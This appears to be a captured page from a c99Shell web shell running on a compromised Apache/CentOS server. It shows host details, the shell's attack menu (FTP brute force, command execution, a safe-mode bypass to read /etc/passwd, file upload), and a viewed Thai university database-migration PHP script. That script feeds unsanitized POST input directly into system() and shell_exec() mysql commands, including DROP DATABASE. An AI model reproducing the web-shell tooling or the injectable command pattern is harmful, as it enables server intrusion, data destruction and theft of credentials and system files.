!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/xmigratex/   drwxr-xr-x
Free 52.27 GB of 127.8 GB (40.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     run_script.php (11.44 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<link rel="stylesheet" type="text/css" href="style.css" />
<table class='tb_1' width='100%' >
        <tr align=''><td class='h2'>
<?
    //$localhost_s = $_POST["localhost_s"];
    //$localhost_u = $_POST["localhost_u"];
    //$localhost_p = $_POST["localhost_p"];
    $dbreg = $_POST["dbreg"];
    $dbmoreg = $_POST["dbmoreg"];
    $dbppc = $_POST["dbppc"];
    $oums = $_POST["oums"];
    $nums = $_POST["nums"];
    $host = $_POST["localhost_s"];
    $tUsername = $_POST["localhost_u"];
    $tPassword = $_POST["localhost_p"];
    $dbNo = $_POST["dbNo"];
    $path_mysql = $_POST["path_mysql"];
    //echo "tUsername = $tUsername<br>";
    //echo "tPassword = $tPassword<br>";
    //echo "dbNo = $dbNo<br>";
//    echo "dbNo = $dbNo<br>";
    //echo '<br><br>เริ่มลบข้อมูล<br>';

    //$path_mysql = '/opt/mysql/bin/mysql';//'mysql'; 
    if($dbNo==1) {
        $pre = "$path_mysql -h '$host' -u '$tUsername' -p'$tPassword' -e ' DROP DATABASE IF EXISTS ".$dbmoreg." ; CREATE DATABASE IF NOT EXISTS ".$dbmoreg." ; ' ";
        //$pre = "$path_mysql -h '$host' -u '$tUsername' -p'$tPassword' --execute=' DROP DATABASE IF EXISTS ".$dbmoreg." ; CREATE DATABASE IF NOT EXISTS ".$dbmoreg." ; '";
        $last_line = system($pre, $retval);
        echo "DROP & CREATE DATABASE $dbmoreg ";
        if($retval){
            echo "<font color='#FF0000'>";
            echo " เกิดข้อผิดพลาด  ";
            echo $retval.'<br>sql :'.$pre;
            echo "</font><br>";
        }else{
            echo " สำเร็จ <br>";
        }

        $filename = 'mo_reg.sql';
        if (!file_exists('mo_reg.sql')) {
            echo "<font color='#FF0000'>";
            echo " เกิดข้อผิดพลาด  ";
            echo "ไม่พบไฟล์นำเข้าข้อมูลพื้นฐาน $filename ";
            echo "</font><br>";
            $retval = true;
            die();
        } else {
            $mysql = "$path_mysql -h $host -u $tUsername -p'$tPassword' -B ".$dbmoreg." < $filename";
            $last_line = system($mysql, $retval);
            echo "CREATE โครงสร้าง $dbmoreg ";
        }
    }elseif($dbNo==2){
        $pre = "$path_mysql -h $host -u $tUsername -p'$tPassword' -e ' DROP DATABASE IF EXISTS ".$dbppc." ; CREATE DATABASE IF NOT EXISTS ".$dbppc." ; '";
        $last_line = system($pre, $retval);
        $filename = 'peoplecenter.sql';
        if (!file_exists($filename)) {
            echo "<font color='#FF0000'>";
            echo " เกิดข้อผิดพลาด  ";
            echo "ไม่พบไฟล์นำเข้าข้อมูลพื้นฐาน $filename ";
            echo "</font><br>";
            $retval = true;
            die();
        } else {
            $mysql = "$path_mysql -h $host -u $tUsername -p'$tPassword' -B ".$dbppc." < ".$filename;
            $last_line = system($mysql, $retval);
            echo "DROP & CREATE DATABASE $dbppc ";
        }

    }elseif($dbNo==3){
        $mysql = "$path_mysql -h $host -u $tUsername -p'$tPassword' -B ".$dbmoreg." < real_alter_InnoDB_mo_reg.sql";
        $last_line = system($mysql, $retval);
        echo $mysql;
        echo "$last_line<br />";
        echo "Update Foreign key ข้อมูลระบบทะเบียนใหม่ ";
    }elseif($dbNo==32){
        $mysql = "$path_mysql -h $host -u $tUsername -p'$tPassword' -B ".$dbppc." < real_alter_InnoDB_peoplecenter.sql";
        $last_line = system($mysql, $retval);
        //echo $mysql;
        //echo "$last_line<br />";
        echo "Update Foreign key ข้อมูลระบบทะเบียนใหม่ ";
    }elseif($dbNo==4){
        $mysql = "$path_mysql -h $host -u $tUsername -p'$tPassword'  --execute \"select concat('ALTER TABLE ',table_schema,'.',table_name,' DROP FOREIGN KEY ',constraint_name,';') dropfk
from information_schema.table_constraints
where constraint_type='FOREIGN KEY' AND table_schema='".$dbmoreg."'\" " ;

        $retval = shell_exec($mysql);
        $strpos = strpos($retval, 'dropfk ');
        $alter_drop = substr($retval,$strpos+6);
        //echo $mysql.'<br><br>';
        $alter = "$path_mysql --default-character-set=utf8  -h $host -u $tUsername -p'$tPassword'  --execute \"$alter_drop\" ";
        system($alter, $retval);
        //echo $alter_drop;
        echo "$last_line<br />";
        echo "<br />DROP Foreign Key ฐานข้อมูลระบบทะเบียนใหม่ ";
    }elseif($dbNo==5){
        $pre = "$path_mysql -h $host -u $tUsername -p'$tPassword' -e ' DROP DATABASE IF EXISTS ".$nums." ; CREATE DATABASE IF NOT EXISTS ".$nums." ; '";
        $last_line = system($pre, $retval);

        $mysql = "$path_mysql -h $host -u $tUsername -p'$tPassword' -B ".$nums." < mo_ums.sql";
        $last_line = system($mysql, $retval);

        echo "CREATE DATABASE ".$nums;
        if($retval){
            echo "<font color='#FF0000'>";
            echo " เกิดข้อผิดพลาด  ";
            echo $retval;
            echo "</font><br>";
        }else{
            echo " สำเร็จ <br>";
        }
        $insert_user = "<br>
        -- Copy script ข้างล่างนี้รัยที่ phpMyAdmin
        <br>
        SET foreign_key_checks = 0;<br>
        INSERT INTO $nums.umuser 
(UsID	,
UsName	,
UsLogin	,
UsPassword	,
UsPsCode	,
UsWgID	,
UsQsID	,
UsAnswer	,
UsEmail	,
UsActive	,
UsAdmin	,
UsDesc	,
UsPwdExpDt	,
UsUpdDt	,
UsUpdUsID	,
UsSessionID	
)
SELECT * FROM $oums.umuser WHERE 1=1;


<br><br>
-- update MnID in umpermission
<br>
-- ระบบทะเบียน
<br>
INSERT INTO $nums.umpermission
(pmUsID,pmMnID,pmSeq,pmX,pmC,pmR,pmU,pmD)
SELECT pmUsID,mn2,pmSeq,pmX,pmC,pmR,pmU,pmD 
FROM $oums.umpermission 
inner join  
(
    SELECT m1.MnID as mn1, m2.MnID as mn2
    FROM  $oums.`umpermission` 
    INNER JOIN $oums.ummenu m1 ON pmMnID = m1.MnID
    INNER join $nums.ummenu m2 
        ON m1.MnNameT = m2.MnNameT
        AND m1.MnLevel = m2.MnLevel
    WHERE m1.MnStID IN (2,3,4) AND m2.MnStID = 70
    GROUP BY pmMnID
)mnp on pmMnID = mn1;
<br>
-- ระบบประเมิน
<br>
INSERT INTO $nums.umpermission
(pmUsID,pmMnID,pmSeq,pmX,pmC,pmR,pmU,pmD)
SELECT pmUsID,mn2,pmSeq,pmX,pmC,pmR,pmU,pmD 
FROM $oums.umpermission 
inner join  
(
    SELECT m1.MnID as mn1, m2.MnID as mn2
    FROM  $oums.`umpermission` 
    INNER JOIN $oums.ummenu m1 ON pmMnID = m1.MnID
    INNER join $nums.ummenu m2 
        ON m1.MnNameT = m2.MnNameT
        AND m1.MnLevel = m2.MnLevel
    WHERE m1.MnStID IN (16,17,18) AND m2.MnStID = 90
    GROUP BY pmMnID
)mnp on pmMnID = mn1;
<br>
-- ระบบศิษย์เก่า
<br>
INSERT INTO $nums.umpermission
(pmUsID,pmMnID,pmSeq,pmX,pmC,pmR,pmU,pmD)
SELECT pmUsID,mn2,pmSeq,pmX,pmC,pmR,pmU,pmD 
FROM $oums.umpermission 
inner join  
(
    SELECT m1.MnID as mn1, m2.MnID as mn2
    FROM  $oums.`umpermission` 
    INNER JOIN $oums.ummenu m1 ON pmMnID = m1.MnID
    INNER join $nums.ummenu m2 
        ON m1.MnNameT = m2.MnNameT
        AND m1.MnLevel = m2.MnLevel
    WHERE m1.MnStID =19 AND m2.MnStID = 190
    GROUP BY pmMnID
)mnp on pmMnID = mn1;
<br>
-- เมนูที่เปลี่ยนชื่อ
<br>
INSERT INTO $nums.umpermission
(pmUsID	,pmMnID	,pmSeq,pmX,pmC,pmR,pmU,pmD)
SELECT pmUsID	,
(case pmMnID
  WHEN 72 THEN '702053'
  WHEN 125 THEN '702160'
  WHEN 1805 THEN '1901811'
  WHEN 1817 THEN '1901802'
  else ''
  end )pMnID,
pmSeq	,
pmX	,
pmC	,
pmR	,
pmU	,
pmD	 
FROM $oums.`umpermission` 
WHERE pmMnID
IN ( 1805, 1817, 125, 72 ) ;

<br><br>
INSERT INTO $nums.umusergroup
(UgID	,
UgGpID	,
UgUsID	
)
SELECT * FROM $oums.umusergroup WHERE 1=1;

<br><br>

-- 70078 : ภาระงานสอน , 70077 : ผู้จัดตารางสอน <br>
UPDATE $nums.umusergroup
SET UgGpID = 
CASE UgGpID
  WHEN 1 THEN '10001'
  WHEN 2 THEN '70070'
  WHEN 3 THEN '70071'
  WHEN 4 THEN '70072'
  WHEN 31 THEN '90091'
  WHEN 32 THEN '90090'
  WHEN 33 THEN '90092'
  WHEN 38 THEN '70078'
  WHEN 39 THEN '70077'
  WHEN 190 THEN '190190'
ELSE UgGpID
END;

<br><br>
-- update UsPsCode อาจารย์พิเศษ
<br>
UPDATE $nums.umuser um
INNER JOIN $dbreg.`Officer` reg 
    ON um.UsPsCode = reg.OfficerCode
INNER JOIN $dbmoreg.`rg_Person` upd 
    ON reg.officerId = upd.prsId 
INNER JOIN $dbppc.`Personout` ppc 
    ON upd.prsUsId = ppc.psoutId 
SET um.UsPsCode = concat('psout',ppc.psoutId) 
WHERE reg.ofSitId = 2;

<br><br>
-- update UsPsCode อาจารย์ประจำ
<br>
UPDATE $nums.umuser 
INNER JOIN $dbppc.Person ON UsPsCode = personCode
SET UsPsCode = personId;

";
    echo $insert_user.'<br>';
/*      scphkk

        $update_url = "UPDATE $oums.ummenu upt
            INNER JOIN $nums.ummenu mo ON upt.MnID=mo.MnID
            SET upt.MnURL = mo.MnURL
            WHERE upt.MnStID=70";
        $mysql = "$path_mysql -h $host -u $tUsername -p'$tPassword' -e '$update_url' ";
        $last_line = system($mysql, $retval);
        echo "UPDATE URL ".$oums;
        if($retval){
            echo "<font color='#FF0000'>UPDATE MnURL MnStID=70 ";
            echo " เกิดข้อผิดพลาด  ";
            echo $retval;
            echo "</font><br>";
        }else{
            echo " สำเร็จ ";
        }

        $update_url = "UPDATE $oums.ummenu upt
            INNER JOIN $nums.ummenu mo ON upt.MnID=mo.MnID
            SET upt.MnURL = mo.MnURL
            WHERE upt.MnStID=190";
        $mysql = "$path_mysql -h $host -u $tUsername -p'$tPassword' -e '$update_url' ";
        $last_line = system($mysql, $retval);
        echo "UPDATE URL ".$oums;
        if($retval){
            echo "<font color='#FF0000'>UPDATE MnURL MnStID=190 ";
            echo " เกิดข้อผิดพลาด  ";
            echo $retval;
            echo "</font><br>";
        }else{
            echo " สำเร็จ ";
        }

        $update_url = "INSERT INTO $oums.ummenu 
            SELECT * FROM $nums.ummenu mo 
            WHERE mo.MnStID=190 
            AND mo.MnID NOT IN (SELECT MnID FROM $oums.ummenu WHERE MnStID=190)";
        $mysql = "$path_mysql -h $host -u $tUsername -p'$tPassword' -e '$update_url' ";
        $last_line = system($mysql, $retval);
        echo "UPDATE URL ".$oums;
        if($retval){
            echo "<font color='#FF0000'>INSERT Mn NOT IN MnStID=190 ";
            echo " เกิดข้อผิดพลาด  ";
            echo $retval;
            echo "</font><br>";
        }else{
            echo " สำเร็จ ";
        }

        $update_code = "
            UPDATE $nums.umuser 
            INNER JOIN $dbppc.Person ON UsPsCode = personCode
            SET UsPsCode = personId";

        $mysql = "$path_mysql --default-character-set=utf8  -h $host -u $tUsername -p'$tPassword'  --execute \"$update_code\" ";
        $last_line = system($mysql, $retval);

        echo "UPDATE UsPsCode ".$oums;
*/
    }
    //echo $mysql;
	//exec($mysql);
    // Printing additional info
    //echo '<br />Last line of the output: ' . ($last_line)?'true':'false';
    //echo '<br />Return value: ' . $retval;

    if($retval){
        echo "<font color='#FF0000'>";
        echo " เกิดข้อผิดพลาด  ";
        echo $retval;
        echo "</font><br>";
    }else{
        echo " -- สำเร็จ ";
    }

//infomation/script_mo_reg.sql
	//echo "<br><br>ลบข้อมูลบนตารางทั้งหมด เสร็จสิ้น ";
?>
</td>
</tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0063 ]--